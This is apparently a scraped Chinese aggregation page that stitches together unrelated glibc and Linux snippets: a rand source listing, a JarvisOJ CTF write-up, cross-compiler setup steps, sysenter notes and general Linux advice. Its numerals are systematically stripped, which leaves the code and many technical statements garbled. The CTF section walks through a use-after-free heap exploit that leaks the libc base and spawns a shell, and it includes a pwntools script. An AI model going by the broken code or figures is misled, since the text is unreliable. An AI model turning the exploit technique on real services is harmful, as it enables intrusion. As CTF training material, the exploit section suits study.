2024年10月glibc源码分析(多线程库的源码在哪,为啥在glibc里面没有)

 更新时间:2024-10-12

  ⑴glibc源码分析(多线程库的源码在哪,为啥在glibc里面没有

  ⑵多线程库的源码在哪,为啥在glibc里面没有

  ⑶c++rand函数源代码

  ⑷glibc的rand源码如下所示:

  ⑸int__random_r?(buf,?result)????????????struct?random_data?*buf;????????????int_t?*result;{??int_t?*state;??if?(buf?==?NULL?||?result?==?NULL)????goto?fail;??state?=?buf-》state;??if?(buf-》rand_type?==?TYPE_)????{??????int_t?val?=?state;??????val?=?((state?*?)?+?)?&?xfffffff;??????state?=?val;??????*result?=?val;????}??else????{??????int_t?*fptr?=?buf-》fptr;??????int_t?*rptr?=?buf-》rptr;??????int_t?*end_ptr?=?buf-》end_ptr;??????int_t?val;??????val?=?*fptr?+=?*rptr;??????/*?Chucking?least?random?bit.??*/??????*result?=?(val?》》?)?&?xfffffff;??????++fptr;??????if?(fptr?》=?end_ptr)????????{??????????fptr?=?state;??????????++rptr;????????}??????else????????{??????????++rptr;??????????if?(rptr?》=?end_ptr)????????????rptr?=?state;????????}??????buf-》fptr?=?fptr;??????buf-》rptr?=?rptr;????}??return?;?fail:??__set_errno?(EINVAL);??return?-;}

  ⑹linux编译glibc,一直报错

  ⑺redhat的g可能打过patch,glibc编译未必能成功参考lfs的做法:编译binutils和g,用它们来编译glibc

  ⑻UAF获取main_arena地址泄露libc基址

  ⑼linux中使用free()进行内存释放时,不大于max_fast(默认值为B的chunk被释放后,首先会被放到fastbins中,大于max_fast的chunk或者fastbins中的空闲chunk合并后会被放入unsortedbin中(参考glibc内存管理ptmalloc源码分析一文????而在fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libc.so中,可以通过useafterfree后打印出main_arena的实际地址,结合偏移值从而得到libc的加载地址。JarvisOJ一道pwn题itemboard作为一个栗子。新建item:其中strcpy(item-》description,buf)的时候存在一个栈溢出,可以实现任意地址写。删除item:查看set_null()实际上一个空函数,这里free之后没有把指针置空,可以通过uaf利用。gdb-peda的checksec查了只有NX,但是实际调试发现有PIE。max_fast的默认值是Bytes,调试里发现global_max_fast的值是x,也就是说先malloc一个x的内存malloc返回给用户的地址实际上是mem指向的位置接着free()释放其中用户输入的数据被写上了fd和bk,都指向main_arena中的位置。由于free后未把指针置零,我们仍然可以选择show_item功能打印description位置的数据,此时将打印出指向main_arena中的指针:main_arena的基址存放在libc中的malloc_trim(函数中:该libc的main_arena偏移位xb,从而计算得到libc基址。接着利用uaf可以覆盖item-》name,item-》description和item-》free,把item-》free覆盖为system的地址,“/bin/sh”可以直接放在item起始位置,结尾处用“;”隔断,中间的description随意填充。frompwnimport*p=remote(’pwn.jarvisoj.’,)e=ELF(’)defadd(name,length,descript):p.recvuntil(’choose:’)p.sendline(’’)p.recvuntil(’Itemname?’)p.sendline(name)p.recvuntil(“Description’slen?“)p.sendline(str(length))p.recvuntil(’Description?’)p.sendline(descript)p.recvuntil(’AddItemSuessfully!’)defshowitem(index):p.recvuntil(’choose:’)p.sendline(’’)p.recvuntil(’Whichitem?’)p.sendline(str(index))defremove(index):p.recvuntil(’choose:’)p.sendline(’’)p.recvuntil(’Whichitem?’)p.sendline(str(index))add(’A’*,x,’A’*)add(’B’*,x,’A’*)remove()showitem()p.recvuntil(’Description:’)arena_addr=u(p.recv().ljust(,’x’))-libc_base=arena_addr-xbesystem_addr=libc_base+e.symbolsprint’systemaddress:’,hex(system_addr)remove()add(’C’*,,’’)add(’D’*,,’DDDD’)remove()remove()add(’EEEE’,,’/bin/sh;’+’EEEEEEEE’+p(system_addr))remove()p.interactive()

  ⑽CPU和CPUID是什么关系

  ⑾在Linux.内核中,用户态Ring代码请求内核态Ring代码完成某些功能是通过系统调用完成的,而系统调用的是通过软中断指令(intx实现的。在x保护模式中,处理INT中断指令时,CPU首先从中断描述表IDT取出对应的门描述符,判断门描述符的种类,然后检查门描述符的级别DPL和INT指令调用者的级别CPL,当CPL《=DPL也就是说INT调用者级别高于描述符指定级别时,才能成功调用,最后再根据描述符的内容,进行压栈、跳转、权限级别提升。内核代码执行完毕之后,调用IRET指令返回,IRET指令恢复用户栈,并跳转会低级别的代码。其实,在发生系统调用,由Ring进入Ring的这个过程浪费了不少的CPU周期,例如,系统调用必然需要由Ring进入Ring(由内核调用INT指令的方式除外,这多半属于Hacker的内核模块所为,权限提升之前和之后的级别是固定的,CPL肯定是,而INT的DPL肯定也是,这样CPU检查门描述符的DPL和调用者的CPL就是完全没必要。正是由于如此,IntelxCPU从PII(Family,Model,Stepping之后,开始支持新的系统调用指令sysenter/sysexit。sysenter指令用于由Ring进入Ring,SYSEXIT指令用于由Ring返回Ring。由于没有特权级别检查的处理,也没有压栈的操作,所以执行速度比INTn/IRET快了不少。不同系统调用方式的性能比较:下面是一些来自互联网的有关sysenter/sysexit指令和INTn/IRET指令在IntelPentiumCPU上的性能对比:表:系统调用性能测试测试硬件:Intel?Pentium?IIICPU,MHzProcessorFamily:Model:Stepping:用户模式花费的时间核心模式花费的时间基于sysenter/sysexit指令的系统调用.microseconds.microseconds基于中断INTn指令的系统调用.microseconds.microseconds数据来源:数据来源:表:各种CPU上INTx和SYSENTER执行速度的比较CPUIntxsysenterAthlonXP+MHzmodeathlon.GHzpnorthwoodht上述数据为对次getppid()系统调用所花费的CPU时钟周期取的平均值数据来源自这种技术推出之后,人们一直在考虑在Linux中加入对这种指令的支持,在Kernel.的邮件列表中,主题为“IntelPvsPsystemcallperformance“的大量邮件讨论了采用这种指令的必要性,邮件中列举的理由主要是Intel在Pentium的设计上存在问题,造成Pentium使用中断方式执行的系统调用比Pentium以及AMDAthlon所耗费的CPU时钟周期多上~倍。因此,在Pentium平台上,通过sysenter/sysexit指令来执行系统调用已经是刻不容缓的需求。sysenter/sysexit系统调用的机制:在Intel的软件开发者手册第二、三卷(Vol.B,Vol.中,..节是关于sysenter/sysexit指令的详细描述。手册中说明,sysenter指令可用于特权级的用户代码调用特权级的系统内核代码,而SYSEXIT指令则用于特权级的系统代码返回用户空间中。sysenter指令可以在,,这三个特权级别调用(Linux中只用到了特权级,而SYSEXIT指令只能从特权级调用。执行sysenter指令的系统必须满足两个条件:.目标Ring代码段必须是平坦模式(FlatMode的GB的可读可执行的非一致代码段。.目标RING堆栈段必须是平坦模式(FlatMode的GB的可读可写向上扩展的栈段。在Intel的手册中,还提到了sysenter/sysexit和intn/iret指令的一个区别,那就是sysenter/sysexit指令并不成对,sysenter指令并不会把SYSEXIT所需的返回地址压栈,sysexit返回的地址并不一定是sysenter指令的下一个指令地址。调用sysenter/sysexit指令地址的跳转是通过设置一组特殊寄存器实现的。这些寄存器包括:SYSENTER_CS_MSR-用于指定要执行的Ring代码的代码段选择符,由它还能得出目标Ring所用堆栈段的段选择符;SYSENTER_EIP_MSR-用于指定要执行的Ring代码的起始地址;SYSENTER_ESP_MSR-用于指定要执行的Ring代码所使用的栈指针这些寄存器可以通过wrmsr指令来设置,执行wrmsr指令时,通过寄存器edx、eax指定设置的值,edx指定值的高位,eax指定值的低位,在设置上述寄存器时,edx都是,通过寄存器ecx指定填充的MSR寄存器,sysenter_CS_MSR、sysenter_ESP_MSR、sysenter_EIP_MSR寄存器分别对应x、x、x,需要注意的是,wrmsr指令只能在Ring执行。这里还要介绍一个特性,就是Ring、Ring的代码段描述符和堆栈段描述符在全局描述符表GDT中是顺序排列的,这样只需知道SYSENTER_CS_MSR中指定的Ring的代码段描述符,就可以推算出Ring的堆栈段描述符以及Ring的代码段描述符和堆栈段描述符。在Ring的代码调用了sysenter指令之后,CPU会做出如下的操作:.将SYSENTER_CS_MSR的值装载到cs寄存器.将SYSENTER_EIP_MSR的值装载到eip寄存器.将SYSENTER_CS_MSR的值加(Ring的堆栈段描述符装载到ss寄存器。.将SYSENTER_ESP_MSR的值装载到esp寄存器.将特权级切换到Ring.如果EFLAGS寄存器的VM标志被置位,则清除该标志.开始执行指定的Ring代码在Ring代码执行完毕,调用SYSEXIT指令退回Ring时,CPU会做出如下操作:.将SYSENTER_CS_MSR的值加(Ring的代码段描述符装载到cs寄存器.将寄存器edx的值装载到eip寄存器.将SYSENTER_CS_MSR的值加(Ring的堆栈段描述符装载到ss寄存器.将寄存器ecx的值装载到esp寄存器.将特权级切换到Ring.继续执行Ring的代码由此可知,在调用SYSENTER进入Ring之前,一定需要通过wrmsr指令设置好Ring代码的相关信息,在调用SYSEXIT之前,还要保证寄存器edx、ecx的正确性。如何得知CPU是否支持sysenter/sysexit指令根据Intel的CPU手册,我们可以通过CPUID指令来查看CPU是否支持sysenter/sysexit指令,做法是将EAX寄存器赋值,调用CPUID指令,寄存器edx中第位(这一位名称为SEP就表示是否支持。在调用CPUID指令之后,还需要查看CPU的Family、Model、Stepping属性来确认,因为据称PentiumPro处理器会报告SEP但是却不支持sysenter/sysexit指令。只有Family大于等于,Model大于等于,Stepping大于等于的时候,才能确认CPU支持sysenter/sysexit指令。Linux对sysenter/sysexit系统调用方式的支持在.内核中,直到最近的发布的..-rc版本,没有加入对sysenter/sysexit指令的支持。而对sysenter/sysexit指令的支持最早是年,由LinusTorvalds编写并首次加入.版内核中的,经过多方测试和多次pa参考资料VxWorksOptimizedforIntelArchitecture,HdeiNunoe,WindRiver,MemberofTechnicalStaffLeoSamson,WindRiver,TechnicalMarketingEngineerDavidHillyard,IntelCorporation,Mgr.,PlatformArchitectKernelEntry/KernelExit,MarcusVoelp&UniversityKarlsruheLinuxKernelMailingList,“Add“sysenter“supportonx,anda“vsyscall“page.“

  ⑿如何为嵌入式开发建立交叉编译环境

  ⒀下面我们将以建立针对arm的交叉编译开发环境为例来解说整个过程,其他的体系结构与这个相类似,只要作一些对应的改动。我的开发环境是,宿主机i-redhat-.,目标机arm。这个过程如下.下载源文件、补丁和建立编译的目录.建立内核头文件.建立二进制工具(binutils.建立初始编译器(bootstrapg.建立c库(glibc).建立全套编译器(fullg下载源文件、补丁和建立编译的目录.选定软件版本号选择软件版本号时,先看看glibc源代码中的INSTALL文件。那里列举了该版本的glibc编译时所需的binutils和g的版本号。例如在glibc-../INSTALL文件中推荐g用.以上,binutils用..以上版本。我选的各个软件的版本是:linux-..+rmkbinutils-..g-..glibc-..glibc-linuxthreads-..如果你选的glibc的版本号低于.,你还要下载一个叫glibc-crypt的文件,例如glibc-crypt-..tar.gz。Linux内核你可以从或它的镜像下载。Binutils、g和glibc你可以从FSF的FTP站点或它的镜像去下载。在编译glibc时,要用到Linux内核中的include目录的内核头文件。如果你发现有变量没有定义而导致编译失败,你就改变你的内核版本号。例如我开始用linux-..+vrs,编译glibc-..时报BUS_ISA没定义,后来发现在..开始它的名字被改为CTL_BUS_ISA。如果你没有完全的把握保证你改的内核改完全了,就不要动内核,而是把你的Linux内核的版本号降低或升高,来适应glibc。G的版本号,推荐用g-.以上的。太老的版本编译可能会出问题。G-..是一个比较稳定的版本,也是内核开发人员推荐用的一个g版本。如果你发现无法编译过去,有可能是你选用的软件中有的加入了一些新的特性而其他所选软件不支持的原因,就相应降低该软件的版本号。例如我开始用g-..,发现编译不过,报as、ld等版本太老,我就把g降为..。太新的版本大多没经过大量的测试,建议不要选用。回页首.建立工作目录首先,我们建立几个用来工作的目录:在你的用户目录,我用的是用户liang,因此用户目录为/home/liang,先建立一个项目目录embedded。$pwd/home/liang$mkdirembedded再在这个项目目录embedded下建立三个目录build-tools、kernel和tools。build-tools-用来存放你下载的binutils、g和glibc的源代码和用来编译这些源代码的目录。kernel-用来存放你的内核源代码和内核补丁。tools-用来存放编译好的交叉编译工具和库文件。$cdembedded$mkdirbuild-toolskerneltools执行完后目录结构如下:$lsembeddedbuild-toolskerneltools.输出和环境变量我们输出如下的环境变量方便我们编译。$exportPRJROOT=/home/liang/embedded$exportTARGET=arm-linux$exportPREFIX=$PRJROOT/tools$exportTARGET_PREFIX=$PREFIX/$TARGET$exportPATH=$PREFIX/bin:$PATH如果你不惯用环境变量的,你可以直接用绝对或相对路径。我如果不用环境变量,一般都用绝对路径,相对路径有时会失败。环境变量也可以定义在.bashrc文件中,这样当你logout或换了控制台时,就不用老是export这些变量了。体系结构和你的TAEGET变量的对应如下表你可以在通过glibc下的config.sub脚本来知道,你的TARGET变量是否被支持,例如:$在我的环境中,config.sub在glibc-../scripts目录下。网上还有一些HOWTO可以参考,ARM体系结构的《TheGNUToolchainforARMTargetHOWTO》,PowerPC体系结构的《LinuxforPowerPCEmbeddedSystemsHOWTO》等。对TARGET的选取可能有帮助。.建立编译目录为了把源码和编译时生成的文件分开,一般的编译工作不在的源码目录中,要另建一个目录来专门用于编译。用以下的命令来建立编译你下载的binutils、g和glibc的源代码的目录。$cd$PRJROOT/build-tools$mkdirbuild-binutilsbuild-boot-gbuild-gbuild-glibcg-patchbuild-binutils-编译binutils的目录build-boot-g-编译g启动部分的目录build-glibc-编译glibc的目录build-g-编译g全部的目录g-patch-放g的补丁的目录g-..的补丁有g-..-.patch、g-..-no-fixinc.patch和g-..-returntype-fix.pa转载仅供参考,版权属于原作者

  ⒁SUSELinux下glibc依赖问题

  ⒂以下在系统CentOS.x_上操作

  ⒃试图运行程序,提示“libc.so.:version`GLIBC_.’notfound“,原因是系统的glibc版本太低,软件编译时使用了较高版本的glibc引起的:

  ⒄viewplain?copy

  ⒅查看系统glibc支持的版本:

  ⒆viewplain?copy

  ⒇viewplain?copy

  ⒈可以看到最高只支持.版本,所以考虑编译解决这个问题:

  ⒉a.到下载最新版本,我这里下载了glibc-..tar.xz?这个版本,解压到任意目录准备编译

  ⒊b.这里解压到/var/VMdisks/glibc-./

  ⒋viewplain?copy

  ⒌c.在glibc源码目录建立构建目录,并cd进入构建目录

  ⒍viewplain?copy

  ⒎viewplain?copy

  ⒏d.运行configure配置,make&&sudo?makeinstall

  ⒐viewplain?copy

  ⒑viewplain?copy

  ⒒viewplain?copy

  ⒓viewplain?copy

  ⒔此时运行正常,问题解决。

  ⒕我下载了glibc的源码,但是没有找到函数malloc的实现,有看过glibc的兄弟帮忙回复一下,多谢

  ⒖学习Linux的七点忠告、不要“玩Linux”很多人用Linux的时候会感觉很迷茫,该用哪个发行呢?是不是我少装了什么?怎么升级这么快啊!怎么这么不稳定!每当遇到新的软件他就想试用,每当新的版本出现,他就更新,然后用鼠标在新的菜单里选择从来没见过的程序来用用。其实你是为了Linux而使用Linux,而没有找到正确的理由来利用Linux。你首先要明确用电脑的目的,你用它是为了解决你的实际问题,而不是为了学习安装操作系统,不是为了测试哪个版本好用,不是为了“赶上潮流”,更不是因为你硬盘太大了,你想多占点空间。如果你启动了电脑之后不知道应该干什么,那么最好先不要用电脑,因为你可能有更重要的事情需要做。、不用挑剔发行版本很多人刚开始用Linux的时候,总是在怀疑别的发行版本是否比自己正在用的这个好,总是怀疑自己以后时候会失去支持,不得不换用别的发行。所以很多人今天是Redhat,明天又换成了debian,一会儿又是gentoo,……甚至有的人在一台机器上装了两个版本的Linux,然后比较哪一个好。其实你完全没有必要这样做,任何发行,只要你熟悉了,你在上面的工作方式几乎是不会受到任何影响的。你常常听说Debian的更新比Redhat快,包比Redhat多,但是你可以比Debian更新还要快,直接到你需要的程序的主站点下载源码来编译就是了。Debian,TurboLinux,SuSE,Redhat,Gentoo,...任何一个版本都是不错的。、不要当“传教士”很多人在讨论区不断的引起“Linuxvs.Windows“之类的讨论,甚至争的面红耳赤,这是没有必要的。因为各人的需要不同,生活的环境不同,你不可能得到一个定论。我们需要尊重别人的选择,这是你在进行任何对工具的讨论前需要提醒自己的事情。面对一些容易引起争论的东西:Word和TeX;Emacs和VIM;MAXIMA,Mathematica和Maple;Gnome,FVWM和KDE;Mutt和Pine……一定要冷静。你需要关心的不是你的工具是什么,而是你用它做了什么。精通Linux并不说明任何问题,因为它只是一个工具而已。如果你用Windows能很好的完成你的任务,那你就没有必要费时间去熟悉Linux。直到有一天你发现一项任务只有Linux才能完成的时候再换也不迟,因为你身边的Linux的爱好者一定会很乐意的帮助你。并不是喜欢一种东西就必须反对其它的。世界需要多样性,人们都需要FUN。用自己的兴趣去压制别人的,就会毁掉所有的兴趣。个人喜欢什么就用什么,完全没必要为这个争论。不要做“传教士”!你说我现在就是在“传教”?冤枉啊~、直接从源码安装程序很多人放着最新的源码不用,等着有人帮他做出rpm,deb,才能安装。我说你为什么不用源码编译,这样版本比rpm高的多,有很多新功能,而没有烦人的依赖关系。可是他说:“要是我用源码编译安装,卸载的时候就不方便了,会留下很多垃圾。”&&&&为什么程序还没有安装你就想到卸载?难道你不知道这个程序是用来做什么的?你应该改变到处找程序来试用的作法,而应该先了解一下到底那些程序有同样的功能,听听别人的意见,看看它们各有什么长处和短处,然后挑一个最适合你的程序来用。从源码编译安装程序,不但比你装rpm更适合自己的机器设置,而且它们一般会装到/usr/local目录,这样你以后如果换硬盘重装系统,也可以把以前/usr/local下的程序原封不动拷贝过去用。我的/usr/local下有G之多的程序,你想要是我有一台新机器要重新安装,然后配置,得花费多少时间?实际上我曾经通过网络把它们传到一台新机器上,然后就出去吃晚饭,回来时我就得到了另一台一摸一样的Linux机器。确实要卸载makeinstall的程序怎么办呢?答案是直接删掉。别以为直接删掉程序会留下垃圾,引起“系统不稳定”。(btw:这是谁教你的啊?呵呵。)makeinstall无非就是把可执行程序放在/usr/local/bin,把某些函数库放在/usr/local/lib,把数据文件放在/usr/local/share下一个它自己的目录,你把这些东西都删掉就行了,不会留下垃圾,即使真的留下一点文件没有删掉也占不了多少空间,更不可能引起系统不稳定。UNIX就是这么简单。但是有几个程序不建议从源码安装,它们是Mozilla,OpenOffice,...它们编译时会占用你几个G的空间和好几个小时的时间,这种花费我觉得是不值得的,因为你不能从编译得到更多好处,不如直接安装编译好的版本。、不要盲目升级不知道这是心理作用还是什么,有的人看到比较大的版本号,就会很想换成那个。很多人的Redhat本来配置的很舒服了,可是一旦Redhat发行新的版本,他们就会尽快下载过来,然后选择升级安装。结果很多时候把自己原来修改得很好的配置文件给冲掉了。新的软件又带来了新的问题,比如有一次我的rxvt升级到..就跟miniChinput冲突了,升级到Redhat.,发现xmms居然缺省不能放mp了,XFree的xtt模块在I上有新的bug,会导致Mozilla突然退出。如果你已经配置好了一切,千万别再整体升级了,这会浪费你很多很多时间的,不值得。如果需要的话,你可以只把某些部件升级,比如内核,glibc,g,XFree,...使用UNIX的经典程序好的程序一般都是可以很方便的在很多种UNIX上移植的,bash,VIM,Emacs,Mutt,FVWM,xterm,都是这样。如果你用这些程序,你就可以在Sun,HP,...等工作站上也装上,这样你在各种机型上的工作环境就几乎完全一样了!你不需要在Sun上面用CDE,在PC上又换成KDE,在它们上面都装一个FVWM,使用相同的配置文件,就能得到一致的界面。这些程序大部分都是久经考验的,是经过很多人多年开发的结果。它们功能完善,各种情况都考虑周全,绝对是你的好助手。、不要配置你不需要的东西如果你只想做一个像我这样的普通用户,主要目的是用Linux来完成自己的科研任务和日常工作,那就可以不用系统管理员或者网络管理员的标准来要求自己,因为当一个系统和网络管理员确实很辛苦。普通用户学习那些不经常用到的复杂的维护系统的工具,其实是浪费时间,学了不用是会很快忘记的!我不是一个合格的网络管理员,我的服务器都只设置了我自己需要的功能,设置好ssh,ftp已经足够了,那样可以省去我很多麻烦。我从来不过度考虑“安全”,因为Linux缺省已经很安全了。我没有磁带机,就不用管tar的那些稀奇古怪的参数了,czf,xzf,ztf已经可以满足我所有的需要。sed,awk,...我也只会几种常用的命令行。、不用忙着看内核源码除非你想研究操作系统,否则还是先把怎么使用Linux掌握好再说吧。我以前看了那么多内核源代码,写了驱动程序,结果最后发现我还是一只很多事情不能用Linux解决的菜鸟吸取我的教训吧,你应该首先掌握shell,Xwindow的使用和原理,它们可不比内核简单。(完(转自互联网bbs.希望能够帮助你^_^也希望能够选为最佳答案!

  ⒗Linux之mutex源码分析

您可能感兴趣的文章:

相关文章